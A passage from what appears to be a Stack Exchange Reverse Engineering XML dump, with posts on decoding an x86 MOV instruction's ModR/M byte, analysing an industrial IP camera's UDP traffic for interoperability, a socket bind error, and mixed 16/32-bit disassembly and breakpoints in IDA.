codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short &lt;em&gt;MOV – mov&lt;/em&gt; table say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8B   : Opcode.&#xA;/r   : ModR/M byte follows opcode that contains register and r/m operand.&#xA;r32  : One of the doubleword general-purpose registers.&#xA;r/m32: Doubleword general-purpose register or memory operand.&#xA;RM   : Code for &quot;Instruction Operand Encoding&quot;-table.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Instruction Operand Encoding&lt;/em&gt; table say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reg  : Operand 1 is defined by the reg bits in the ModR/M byte.&#xA;(w)  : Value is written.&#xA;r/m  : Operand 2 is Mod+R/M bits of ModR/M byte.&#xA;(r)  : Value is read.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The too deep section&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;OK. Now I'm going to deep here, but can't stop myself.&lt;/em&gt; (Often find that knowing the building blocks help understand the process.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ModR/M byte is &lt;code&gt;0x46&lt;/code&gt; which in binary form would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         7,6   5,4,3   2,1,0  (Bit number)&#xA;0x46:    01     000     110&#xA;          |      |       |&#xA;          |      |       +---&amp;gt; R/M&#xA;          |      +-----------&amp;gt; REG/OpExt&#xA;          +------------------&amp;gt; Mod&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The value &lt;code&gt;000&lt;/code&gt; of REG field translates to &lt;code&gt;EAX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mod+R/M translates to &lt;code&gt;ESI+disp8&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Ref. &lt;em&gt;&quot;2.1.5 Addressing-Mode Encoding of ModR/M and SIB Bytes&quot;&lt;/em&gt; table 2-2, in A-Z ref.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pt. 2. tells us that a 8-bit value, 8-bit displacement byte, follows the ModR/M byte which should be added to the value of &lt;code&gt;ESI&lt;/code&gt;. In comparison, if there was a 32-bit displacement or register opcode+ModR/M's would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32-bit displacement                 General-purpose register&#xA;&#xA; +-----&amp;gt; MOV r32,r/m32               +-----&amp;gt; MOV r32,r/m32&#xA; |                                   |&#xA;8Bh 86h                             8Bh C1h&#xA;     |         +--&amp;gt; EAX                  |         +--&amp;gt; EAX&#xA;     |         |                         |         |&#xA;     +---&amp;gt; 10 000 110 b                  +---&amp;gt; 11 000 001 b&#xA;            |       |                           |       |&#xA;            +---+---+                           +---+---+&#xA;                |                                   |&#xA;                v                                   v&#xA;               ESI + disp32                        ECX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As we have a &lt;code&gt;disp8&lt;/code&gt; the next byte is a 1-byte value that should be added to the value of ESI. In this case &lt;code&gt;0x14&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this byte is signed so e.g. &lt;code&gt;0xfe&lt;/code&gt; would mean &lt;code&gt;ESI - 0x02&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Segment to use&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;ESI is pointer to data in segment pointed to by DS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A segment selector is comprised of three values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    15 - 3             2                   1 - 0              (Bits)&#xA;|-------------|-----------------|---------------------------|&#xA;|    Index    | Table Indicator | Requested Privilege Level |&#xA;+-------------+-----------------+---------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So say selector = 0x0023 we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x23 0000000000100 0 11 b&#xA;           |       |  |&#xA;           |       |  +----&amp;gt; RPL  : 3   = User land, (0 is kernel)&#xA;           |       +-------&amp;gt; TI   : 0   = GDT (GDT or LDT)&#xA;           +---------------&amp;gt; Index: 4     Multiplied by 8 and added to TI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GDT = Global Descriptor Table&lt;/li&gt;&#xA;&lt;li&gt;LDT = Local Descriptor Table&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The segment registers (CS, DS, SS, ES, FS and GS) are designed to hold selectors for code, stack or data. This is to lessen complexity and increase efficiency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these registers also have a &lt;em&gt;hidden part&lt;/em&gt; aka &lt;em&gt;&quot;shadow register&quot;&lt;/em&gt; or &lt;em&gt;&quot;descriptor cache&quot;&lt;/em&gt; which holds &lt;em&gt;base address&lt;/em&gt;, &lt;em&gt;segment limit&lt;/em&gt; and &lt;em&gt;access control information&lt;/em&gt;. These values are automatically loaded by the processor when a segment selector is loaded into the visible part of the segment registers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   | Segment Selector |      Shadow Register     |&#xA;   +------------------+--------------------------+&#xA;   |  Idx  | TI | RPL | BASE  | Seg Lim | Access | CS, SS, DS, ES, FS, GS&#xA;   +------------------+--------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The BASE address is a linear address. ES, DS and SS are not used in 64-bit mode.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Read a 32-bit value from segment address ESI+disp8. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ESI = 0x005056A0&#xA;&#xA;Dump of DS segment:&#xA;           0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f&#xA;005056A0  00 00 00 00 9C 8F 41 7E 4C 1F 42 00 C0 1E 42 00  ....œA~LB.ÀB.&#xA;005056B0  E0 1F 42 00 70 20 42 00 48 21 42 00 4A A8 42 7E  àB.p B.H!B.J¨B~&#xA;&#xA;ESI + 0x14 = 0x005056B4 =&amp;gt; 70 20 42 00 …&#xA;&#xA;EAX = (DWORD)70 20 42 00 = 00 42 20 70 (4333680.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Simulate in C&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One problem with your example is that &lt;code&gt;esi&lt;/code&gt; is an integer (strictly speaking). The value, however, can be that one of a segment address. Then you have to take into consideration that each segment has a &lt;em&gt;base address&lt;/em&gt;, (offset), – as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg = malloc(4096);&#xA;seg[0] &#xA;    |&#xA;    +---&amp;gt; at base address, e.g. 0x505000&#xA;&#xA;       +----------------+&#xA;       |                |&#xA;       |                |&#xA;        …&#xA;505000 |                | seg[00 - 0f]&#xA;505010 |                | seg[10 - 1f]&#xA;505020 |                | seg[20 - 2f]&#xA;        …&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, as it is ESI, that segment would be the one pointed to by DS.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To simulate this in C you would need variables for the general-purpose registers, but you would also need to create segments (from where to read/write data.) Roughly such a code &lt;strong&gt;could&lt;/strong&gt; be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void dword_m2r(uint32_t *x, struct segment *seg, uint32_t offset)&#xA;{&#xA;    *x = *((uint32_t*)(seg-&amp;gt;data + (offset - seg-&amp;gt;base)));&#xA;}&#xA;&#xA;dword_m2r(&amp;amp;eax, &amp;amp;ds, esi + 0x14);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;struct segment&lt;/code&gt; and &lt;code&gt;ds&lt;/code&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct segment {&#xA;    u8 *data;&#xA;    u32 base;&#xA;    u32 size;&#xA;    u32 eip;&#xA;};&#xA;&#xA;struct segment ds;&#xA;ds.base = 0x00505000;&#xA;ds.size = 0x3000;&#xA;ds.data = malloc(ds.size);&#xA;ds.eip  = 0x00;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To further develop on this concept you could create another &lt;code&gt;struct&lt;/code&gt; with registers, use defines or variables for registers, add default segments etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Intel-based architecture that could be something in the direction of this (as a not to nice beginning):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;#define u64  uint64_t&#xA;#define u32  uint32_t&#xA;#define u16  uint16_t&#xA;#define u8   uint8_t&#xA;&#xA;union gen_reg {&#xA;    u64 r64;&#xA;    u32 r32;&#xA;    u16 r16;&#xA;    u8   l8;&#xA;};&#xA;&#xA;struct CPU {&#xA;    union gen_reg accumulator;&#xA;    u8 *ah;&#xA;    union gen_reg counter;&#xA;    u8 *ch;&#xA;    …&#xA;    struct segment s_stack;&#xA;    struct segment s_code;&#xA;    struct segment s_data;&#xA;    …&#xA;&#xA;    u32 eflags;&#xA;    u32 eip;&#xA;    …&#xA;};&#xA;&#xA;&#xA;#define RAX   CPU.accumulator.rax&#xA;#define EAX   CPU.accumulator.eax&#xA;#define AX    CPU.accumulator.ax&#xA;#define AH    *((u8*)&amp;amp;AX + 1)&#xA;#define AL    CPU.accumulator.al&#xA;…&#xA;&#xA;&#xA;/* and then some variant of */&#xA;ESI = 0x00505123;&#xA;dword_m2r(&amp;amp;EAX, &amp;amp;DS, ESI + 0x14);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a more compact way, ditching ptr to &lt;code&gt;H&lt;/code&gt; register etc. have a look at e.g.&#xA;the code base of &lt;a href=&quot;http://www.virtualbox.org/svn/vbox/trunk/src/VBox/Additions/x11/x11include/xorg-server-1.14.0/regs.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;virtualbox&lt;/a&gt;. &lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; require some form of pack directive for most compilers to prevent filling of bits in structs – so that e.g. AH and AL really align up with correct bytes of AX.&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-07-09T12:40:22.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostTypeId="1" CreationDate="2013-07-09T11:55:19.680" Score="5" ViewCount="4579" Body="&lt;p&gt;I have an industrial &lt;a href=&quot;http://en.ids-imaging.com/store/produkte/kameras/gige-kameras/ueye-cp/ui-5220cp.html&quot; rel=&quot;nofollow&quot;&gt;IP camera&lt;/a&gt; and I want to read its images with a micro-controller, but the camera is only operable from a computer running its drivers/firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used WireShark to access the UDP packages, but the messages seem to be encrypted (or at least I cannot make any sense of them) and I don't really know how to proceed on deciphering the control requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any ideas, hints or general comments on how to go on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/wzvdsdspguhmuyy/IDSCamInitAndCap.pcapng&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; are a couple of frames sent by the computer to the camera during the initialization and capture. (Working on getting the frames from the cam, but WireShark and Windows have this problem with LANs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one of the frames sent by the camera to a not supported device. The two data bytes between ** change sequentially, the rest (of the data) stays the same. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000   ff ff ff ff ff ff 00 1b a2 12 c6 b4 08 00 45 00  ..............E.&#xA;0010   01 1c 00 01 00 00 80 11 8f d1 a9 fe 00 01 ff ff  ................&#xA;0020   ff ff c3 52 c3 52 01 08 5e 5e 71 00 e0 00*01*00  ...R.R..^^q.....&#xA;0030   f8 00 34 30 30 32 39 32 32 30 35 31 00 00 84 01  ..4002922051....&#xA;0040   13 00 20 00 00 00 0a 00 04 01 00 00 00 00 05 21  .. ............!&#xA;0050   00 00 02 0a 00 00*cc*01 e8 03 00 1b a2 12 c6 b4  ................&#xA;0060   ff ff a9 fe 00 01 ff ff 00 00 00 00 00 00 a9 fe  ................&#xA;0070   00 01 ff ff 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;0080   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;0090   00 00 00 00 00 00 00 00 00 12 c6 b4 00 00 19 01  ................&#xA;00a0   01 01 00 00 00 00 00 00 00 00 11 00 03 01 01 00  ................&#xA;00b0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;00c0   00 00 00 00 00 00 00 00 00 00 e8 03 05 00 00 00  ................&#xA;00d0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;00e0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;00f0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;0100   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;0110   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;0120   00 00 00 00 00 00 00 00 00 00                    ..........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit: I spent these last hours &quot;doing my homework&quot; and thought, since I only want to read its images, deciphering might be a bit of an overkill. Is it probable that a replay attack would also do the trick? &lt;/p&gt;&#xA;" OwnerUserId="2393" LastEditorUserId="2393" LastEditDate="2013-07-17T08:14:01.817" LastActivityDate="2013-07-17T08:14:01.817" Title="analysing IP camera's UDP packages" Tags="|sniffing|wireshark|interoperability|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2437" PostTypeId="2" ParentId="2436" CreationDate="2013-07-09T15:01:36.567" Score="7" Body="&lt;p&gt;There's only one solution that always works.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Look at the code.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That is, disassemble the firmware and find the code which is sending or receiving the packets. It's often not very difficult with many embedded solutions - they tend to have unstripped symbols and copious amounts of debug output which will help you finding the necessary place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible in theory to run some cryptoanalysis and try to deduce the encryption used and the key, but that generally requires much more experience and effort.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-07-09T15:01:36.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostTypeId="2" ParentId="2427" CreationDate="2013-07-09T16:24:30.900" Score="7" Body="&lt;p&gt;There is also the option of &lt;a href=&quot;http://www.tuts4you.com&quot;&gt;tuts4you&lt;/a&gt;. They have an extensive download page there.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2013-07-09T16:24:30.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2439" PostTypeId="2" ParentId="2411" CreationDate="2013-07-09T16:31:20.237" Score="1" Body="&lt;p&gt;You should try a different port. The bind failing simply means there is another application that uses that IP/PORT combination. The only way around such an error would be to modify the source to properly set the socket option to SO_REUSEADDR (Assuming the process using it hasnt defined SO_EXCLUSIVEADDRUSE). But that isnt possible in your case. If you are running on Windows, and have VM available, try a clean install of Windows, otherwise use a tool such as ProcessHacker to see if the port you are trying to use is not already in use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TLDR: Try a different IP/Port combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also ensure you're running it priviledged.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2013-07-09T16:31:20.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2440" PostTypeId="1" AcceptedAnswerId="2444" CreationDate="2013-07-09T20:36:51.017" Score="10" ViewCount="8719" Body="&lt;p&gt;I am trying to reverse engineer a binary blob I expect to transition from 16-bit real mode into 32-bit protected mode (it is boot time code), so I expect the code to contain code of both sorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I launch IDA, I am given the option of 16 or 32-bit code, but not mixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I instruct IDA to attempt to disassemble data at a given address as 32-bit mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can using the 16-bit analyzer deduce the initial jump (unoriginally) and IDA happily analyses the code from there. I can see where the 32-bit code jumps to (far jump, so IDA doesn't try to analyze it), but IDA treats this as 16-bit when I hit &lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than launching a 16, and a 32-bit dissasmbly session, can I do this in one?&lt;/p&gt;&#xA;" OwnerDisplayName="user1797" LastActivityDate="2014-08-20T19:17:27.513" Title="Mixed 16/32-bit code reversing using IDA" Tags="|ida|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2441" PostTypeId="1" CreationDate="2013-07-09T23:35:09.107" Score="5" ViewCount="4155" Body="&lt;p&gt;I am unable to set a breakpoint in IDA 6. I have tried pressing &lt;kbd&gt; F2&lt;/kbd&gt; , but it did not work. Also, the breakpoints buttons on the toolbar are all disabled. What's the problem? &lt;/p&gt;&#xA;" OwnerUserId="2208" LastEditorUserId="2158" LastEditDate="2013-07-10T00:05:34.483" LastActivityDate="2014-07-22T17:03:41.450" Title="Unable to set a breakpoint in IDA 6?" Tags="|ida|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2442" PostTypeId="2" ParentId="2441" CreationDate="2013-07-10T00:30:33.813" Score="5" Body="&lt;p&gt;Not all views of IDA offer breakpoints. You should be able to set breakpoints on certain views, for example &lt;code&gt;IDA View&lt;/code&gt;. Other views do not offer breakpoints and automatically disable them. Such views include, but not limited to &lt;code&gt;Hex View&lt;/code&gt;, &lt;code&gt;Structures&lt;/code&gt;, &lt;code&gt;Enums&lt;/code&gt;, &lt;code&gt;Imports&lt;/code&gt;, and &lt;code&gt;Exports&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the process of setting breakpoints is described in &lt;a href=&quot;http://nostarch.com/idapro.htm&quot; rel=&quot;nofollow&quot;&gt;IDA-Pro Book&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Breakpoints are set in IDA &lt;strong&gt;by navigating to the location&lt;/strong&gt; at which you want execution to pause and using the F2 hotkey (or right-clicking and selecting Add Breakpoint). Addresses at which breakpoints have been set are highlighted with a red (by default) band across the entire disassembly line. A breakpoint may be removed by pressing F2 a second time to toggle the breakpoint off. A complete list of breakpoints currently set within a program may be viewed via Debugger-&gt;Breakpoints-&gt;Breakpoint List.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-10T01:48:56.113" LastActivityDate="2013-07-10T01:48:56.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2443" PostTypeId="2" ParentId="2440" CreationDate="2013-07-10T04:35:04.137" Score="10" Body="&lt;p&gt;You could either do it manually or create a custom loader module for your binary blob. What you need to do is separate code into 2 segments: 32-bit segment and 16-bit segment, and specify appropriate addressing mode. IDA supports 16, 32, 64 bit modes. If needed you could manually create 2 different code segments and change address mode manually by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to incorporate it in a loader, you may utilize &lt;code&gt;getseg&lt;/code&gt; and &lt;code&gt;set_segm_addressing&lt;/code&gt; from &lt;em&gt;segment.hpp&lt;/em&gt; out of &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot;&gt;IDA SDK&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get pointer to segment by linear address&#xA;//      ea - linear address belonging to the segment&#xA;// returns: NULL or pointer to segment structure&#xA;&#xA;inline segment_t *getseg(ea_t ea) { return (segment_t *)(segs.get_area(ea)); } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Change segment addressing mode (16, 32, 64 bits)&#xA;// You must use this function to change segment addressing, never change&#xA;// the 'bitness' field directly.&#xA;// This function will delete all instructions, comments and names in the segment&#xA;//      s      - pointer to segment&#xA;//      bitness- new addressing mode of segment&#xA;//                 2: 64bit segment&#xA;//                 1: 32bit segment&#xA;//                 0: 16bit segment&#xA;// returns: 1-ok, 0-failure&#xA;&#xA;idaman bool ida_export set_segm_addressing(segment_t *s, size_t bitness);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly, you will need to get a pointer to a segment structure using &lt;code&gt;getseg&lt;/code&gt;. Thereafter, you could change segment addressing mode to 16 or 32 bit using &lt;code&gt;set_segm_addressing&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-10T05:21:18.750" LastActivityDate="2013-07-10T05:21:18.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2444" PostTypeId="2" ParentId="2440" CreationDate="2013-07-10T05:09:56.003" Score="7" Body="&lt;p&gt;&lt;strong&gt;Ida Free 5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Edit -&amp;gt; Segments -&amp;gt;CreateSegment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the dialog&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;segment name  = seg001....seg00n&#xA;start         = &amp;lt;start address viz 0x0A&#xA;end           = &amp;lt;end address viz 0x1e&#xA;base          = 0x0 &#xA;class         = some text viz 32one,32two,16three&#xA;radio button  = 32 bit segment or 16 bit segment as needed&#xA;click yes to a cryptic dialog &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example &#xA;the binary stream contains 16 bit dos puts routine and 32 bit random pushes intermixed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\Admin\Desktop&amp;gt;xxd -g 1 1632blob.bin&#xA;0000000: b4 01 cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68  ...!.....!hxV4.h&#xA;0000010: 0d d0 37 13 68 be ba 37 13 68 00 0d db ba b4 01  ..7.h..7.h......&#xA;0000020: cd 21 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0  .!.....!hxV4.h..&#xA;0000030: 37 13 68 be ba 37 13 68 00 0d db ba b4 01 cd 21  7.h..7.h.......!&#xA;0000040: 88 c2 b4 02 cd 21 68 78 56 34 12 68 0d d0 37 13  .....!hxV4.h..7.&#xA;0000050: 68 be ba 37 13 68 00 0d db ba                    h..7.h....&#xA;&#xA;C:\Documents and Settings\Admin\Desktop&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loading this blob as binary file moving to &lt;code&gt;offset 0&lt;/code&gt; and pressing &lt;code&gt;c&lt;/code&gt; would disassemble all bytes as &lt;code&gt;16 bit&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you can move to &lt;code&gt;offset 0x0a&lt;/code&gt; and create a &lt;code&gt;32 bit segment&lt;/code&gt; with start as &lt;code&gt;0x0a end as 0x1e base as 0x0 class as 32one use 32bitsegment radio button&lt;/code&gt; and press &lt;code&gt;c&lt;/code&gt; again to create 32 bit disassembly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:0000                ;&#xA;seg000:0000                ; +-------------------------------------------------------------------------+&#xA;seg000:0000                ; ¦     This file is generated by The Interactive Disassembler (IDA)        ¦&#xA;seg000:0000                ; ¦     Copyright (c) 2010 by Hex-Rays SA, &amp;lt;support@hex-rays.com&amp;gt;           ¦&#xA;seg000:0000                ; ¦                      Licensed to: Freeware version                      ¦&#xA;seg000:0000                ; +-------------------------------------------------------------------------+&#xA;seg000:0000                ;&#xA;seg000:0000                ; Input MD5   : AEB17B9F8C4FD00BF2C04A4B3399CED1&#xA;seg000:0000&#xA;seg000:0000                ; ---------------------------------------------------------------------------&#xA;seg000:0000&#xA;seg000:0000                                .686p&#xA;seg000:0000                                .mmx&#xA;seg000:0000                                .model flat&#xA;seg000:0000&#xA;seg000:0000                ; ---------------------------------------------------------------------------&#xA;seg000:0000&#xA;seg000:0000                ; Segment type: Pure code&#xA;seg000:0000                seg000          segment byte public 'CODE' use16&#xA;seg000:0000                                assume cs:seg000&#xA;seg000:0000                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005&#xA;seg000:0000 B4 01                          mov     ah, 1&#xA;seg000:0002 CD 21                          int     21h&#xA;seg000:0004 88 C2                          mov     dl, al&#xA;seg000:0006 B4 02                          mov     ah, 2&#xA;seg000:0008 CD 21                          int     21h&#xA;seg000:0008                seg000          ends&#xA;seg000:0008&#xA;seg001:0000000A                ; ---------------------------------------------------------------------------&#xA;seg001:0000000A&#xA;seg001:0000000A                ; Segment type: Regular&#xA;seg001:0000000A                seg001          segment byte public '32one' use32&#xA;seg001:0000000A                                assume cs:seg001&#xA;seg001:0000000A                                ;org 0Ah&#xA;seg001:0000000A                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing&#xA;seg001:0000000A 68 78 56 34 12                 push    12345678h&#xA;seg001:0000000F 68 0D D0 37 13                 push    1337D00Dh&#xA;seg001:00000014 68 BE BA 37 13                 push    1337BABEh&#xA;seg001:00000019 68 00 0D DB BA                 push    0BADB0D00h&#xA;seg001:00000019                seg001          ends&#xA;seg001:00000019&#xA;seg002:001E                ; ---------------------------------------------------------------------------&#xA;seg002:001E&#xA;seg002:001E                ; Segment type: Pure code&#xA;seg002:001E                seg002          segment byte public 'CODE' use16&#xA;seg002:001E                                assume cs:seg002&#xA;seg002:001E                                ;org 1Eh&#xA;seg002:001E                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005&#xA;seg002:001E B4 01                          mov     ah, 1&#xA;seg002:0020 CD 21                          int     21h&#xA;seg002:0022 88 C2                          mov     dl, al&#xA;seg002:0024 B4 02                          mov     ah, 2&#xA;seg002:0026 CD 21                          int     21h&#xA;seg002:0026                seg002          ends&#xA;seg002:0026&#xA;seg003:00000028                ; ---------------------------------------------------------------------------&#xA;seg003:00000028&#xA;seg003:00000028                ; Segment type: Regular&#xA;seg003:00000028                seg003          segment byte public '32two' use32&#xA;seg003:00000028                                assume cs:seg003&#xA;seg003:00000028                                ;org 28h&#xA;seg003:00000028                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing&#xA;seg003:00000028 68 78 56 34 12                 push    12345678h&#xA;seg003:0000002D 68 0D D0 37 13                 push    1337D00Dh&#xA;seg003:00000032 68 BE BA 37 13                 push    1337BABEh&#xA;seg003:00000037 68 00 0D DB BA                 push    0BADB0D00h&#xA;seg003:00000037                seg003          ends&#xA;seg003:00000037&#xA;seg004:003C                ; ---------------------------------------------------------------------------&#xA;seg004:003C&#xA;seg004:003C                ; Segment type: Pure code&#xA;seg004:003C                seg004          segment byte public 'CODE' use16&#xA;seg004:003C                                assume cs:seg004&#xA;seg004:003C                                ;org 3Ch&#xA;seg004:003C                                assume es:seg005, ss:seg005, ds:seg005, fs:seg005, gs:seg005&#xA;seg004:003C B4 01                          mov     ah, 1&#xA;seg004:003E CD 21                          int     21h&#xA;seg004:0040 88 C2                          mov     dl, al&#xA;seg004:0042 B4 02                          mov     ah, 2&#xA;seg004:0044 CD 21                          int     21h&#xA;seg004:0044                seg004          ends&#xA;seg004:0044&#xA;seg005:00000046                ; ---------------------------------------------------------------------------&#xA;seg005:00000046&#xA;seg005:00000046                ; Segment type: Regular&#xA;seg005:00000046                seg005          segment byte public '32three' use32&#xA;seg005:00000046                                assume cs:seg005&#xA;seg005:00000046                                ;org 46h&#xA;seg005:00000046                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing&#xA;seg005:00000046 68 78 56 34 12                 push    12345678h&#xA;seg005:0000004B 68 0D D0 37 13                 push    1337D00Dh&#xA;seg005:00000050 68 BE BA 37 13                 push    1337BABEh&#xA;seg005:00000055 68 00 0D DB BA                 push    0BADB0D00h&#xA;seg005:00000055                seg005          ends&#xA;seg005:00000055&#xA;seg005:00000055&#xA;seg005:00000055                                end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-07-10T05:09:56.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
